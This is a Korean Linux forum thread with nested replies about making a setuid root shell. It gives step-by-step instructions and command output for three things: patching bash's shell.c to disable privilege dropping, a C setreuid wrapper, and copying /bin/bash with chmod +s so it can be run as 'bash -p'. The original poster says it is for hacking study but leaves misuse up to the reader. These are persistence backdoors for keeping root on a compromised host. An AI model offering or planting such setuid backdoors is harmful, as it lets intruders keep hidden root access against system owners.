sh-2.05# bash --version
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
Copyright 2000 Free Software Foundation, Inc.
sh-2.05# cp /bin/bash .
sh-2.05# chmod +s bash
sh-2.05# su test
[test@test test]$ id
uid=624(test) gid=512(test) groups=512(test)
[test@test test]$ ./bash -p
bash-2.05# id
uid=624(test) gid=512(test) euid=0(root) egid=0(root) groups=512(test)
: 안녕하세요?
:
: 훨씬 더 간단한 방법이 있었군요. =_=
:
: 제가 고친 부분의 요지는... bash에서 euid도 먹게 하자는 의도었고...
: 성현님의 요지는... 아예 real uid도 바꿔버리자는 의도인 것 같습니다.
:
: 성현님의 방법이 더 간단한 듯... :)
:
: 팁 감사합니다.
:
: 그럼...
:
:
: : C에서 setreuid() 함수도 setuid 안먹히나요?
: :
: : [jsh83@gelug jsh83]$ bash --version
: : GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
: : Copyright 2000 Free Software Foundation, Inc.
: : [jsh83@gelug jsh83]$
: :
: : 버전은 위와 같고, 2.05b하고는 다른 건지 모르겠지만..;
: :
: : <pre>#include <stdio.h>
: : #include <stdlib.h>
: : #include <sys/types.h>
: : #include <unistd.h>
: :
: : int main(void)
: : {
: : int n;
: :
: : setreuid(0, 510); // 510은 jsh83의 권한
: : system("/usr/bin/id");
: :
: : exit(0);
: : }
: :
: : </pre>
: : 위와 같이 파일 만들어서 루트권한으로 컴파일 한 후
: :
: : chmod 4751 파일명 && chgrp jsh83 파일명
: :
: : 하니깐 잘 되던데요.. 이번엔 안되는지요?
: :
: : : 안녕하세요?
: : :
: : : 요즘은 기초적인 해킹 공부를 하려고 해도 shell level에서 setuid를 막아버
: : : 려 간단한 방법으로는 root shell을 만들기가 어렵게 되어 있습니다.
: : :
: : : 이 문서는 최신 버전 bash(현재 2.05b)를 기준으로 root shell을 만드는 방
: : : 법에 대해 간단히 적혀있습니다.
: : :
: : : 해킹 공부 목적에 사용하시건, 악용하시건, 사용자 마음이지만, 책임도 같
: : : 이 지시기 바랍니다. :)
: : :
: : :
: : : ** 준비물 **
: : : bash 최신 버전 (bash-2.05b.tar.gz)
: : : 슈퍼 유저 권한
: : :
: : : bash 최신 버전은 ftp.gnu.org에 공식 배포본을 구하실 수 있으며,
: : : ftp.linux.sarang.net에서도 미러링되어 있습니다. 슈퍼 유저 권한은 따로
: : : 설명하지 않겠습니다.
: : :
: : :
: : : ** root shell 만들기 **
: : : 우선 bash 소스를 압축 푼 뒤에 shell.c를 수정해야 합니다.
: : : 2.05b를 기준으로 442라인에 보시면 아래의 구문이 있습니다. (타 버전에서
: : : 는 위, 아래 라인을 잘 살펴보세요)
: : :
: : : if (running_setuid && privileged_mode == 0)
: : : disable_priv_mode ();
: : :
: : : 간단합니다. disable_prov_mode()부분을 주석 처리해 버립시다.
: : :
: : : ->
: : : if (running_setuid && privileged_mode == 0);
: : : /* disable_priv_mode (); */
: : :
: : : if문 뒤에 세미콜론을 찍는 것을 까먹지 마시고...
: : :
: : : 다음에 컴파일 해야 합니다. 좀 더 완벽한 루트쉘을 위한 configure옵션을
: : : 적는다면...
: : :
: : : $ ./configure --enable-static-link --disable-history
: : :
: : : 뭐 적당한 옵션을 줘서 configure하고 make하면 bash 바이너리 파일이 컴파
: : : 일됩니다.
: : :
: : : 다음에 루트 권한으로 쑤시는 명령들...
: : :
: : : # chown root.root bash
: : : # chmod 6755 bash
: : : # ls -l bash
: : : -rwsr-sr-x 1 root root 2264774 9월 11 22:03 bash
: : : #
: : :
: : : 오.. 이쁜 루트쉘이 탄생했군요. 그럼 일반 유저 권한으로 실행해보면...
: : :
: : : $ ./bash
: : : # id
: : : # uid=1000(xxxx) gid=100(users) euid=0(root) egid=0(root) groups=100
: : : (users)
: : :
: : : euid, guid가 root로 된 것을 확인할 수 있습니다.
: : :
: : :
: : : 유용하게 쓰셨으면 하며... 쉬운 내용이지만 가능한 한 악용하지 말아 주셨
: : : 으면 합니다.
: : :
: : : 그럼...
: :
: : --
: : L!nux 사랑, 세벌식 사랑, 나라 사랑
: : <img src="http://www.gelug.pe.kr/gelug.gif">